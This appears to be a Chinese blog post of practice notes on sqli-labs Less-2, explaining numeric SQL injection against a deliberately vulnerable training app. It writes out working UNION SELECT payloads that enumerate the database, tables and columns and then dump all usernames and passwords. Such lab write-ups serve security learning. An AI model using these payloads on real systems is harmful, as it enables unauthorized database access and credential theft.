欢迎光临
我们一直在努力

我的sqli-labs实战笔记(二):攻克Less-2,理解数字型SQL注入

在上一篇《我的sqli-labs实战笔记(一):攻克Less-1,理解字符型SQL注入》中,我们学习了如何判断并利用单引号闭合的注入。今天,我们进入 Less-2: 数字型注。这一关将简化“闭合”步骤,是理解注入核心原理——操纵原有SQL逻辑——的绝佳练习。

1.判断注入类型

判断闭合方式:

并且?id=2-1也可以查询

所以这个题是数字型注入

初步判断WHERE处是id=$id;

数字型注入与字符型最大的不同在于,参数直接嵌入SQL语句,无需用引号包裹。因此,在探测时我们无需关心闭合引号,可以直接注入SQL指令。

2.利用ORDER BY判断字段数:

得出这个表字段数是3;

3.利用联合注入爆数据库名:

要确保id=-1,查询不到结果,防止被覆盖

得出数据库名是security

4.爆表名:

?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security' –+

根据查询的表的内容,可以判断出表名为users;

5.爆字段名:

/?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' –+

这样爆出了security数据库的所有字段,显然太多了,应该进一步筛选:

/?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' AND table_name='users'–+

6.爆所有用户名和密码:

/?id=-1 UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users –+

到这里less_2就完成了


与第一关相比,只是注入类型有所区别,判断出类型之后的操作步骤和第一关的基本相同

相关知识点都在第一关有详细解释如果不懂也可以回顾一下

第一关的链接:

https://blog.csdn.net/2502_93741325/article/details/157519371

赞(0)
未经允许不得转载:171主机测评 » 我的sqli-labs实战笔记(二):攻克Less-2,理解数字型SQL注入
分享到: 更多 (0)

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址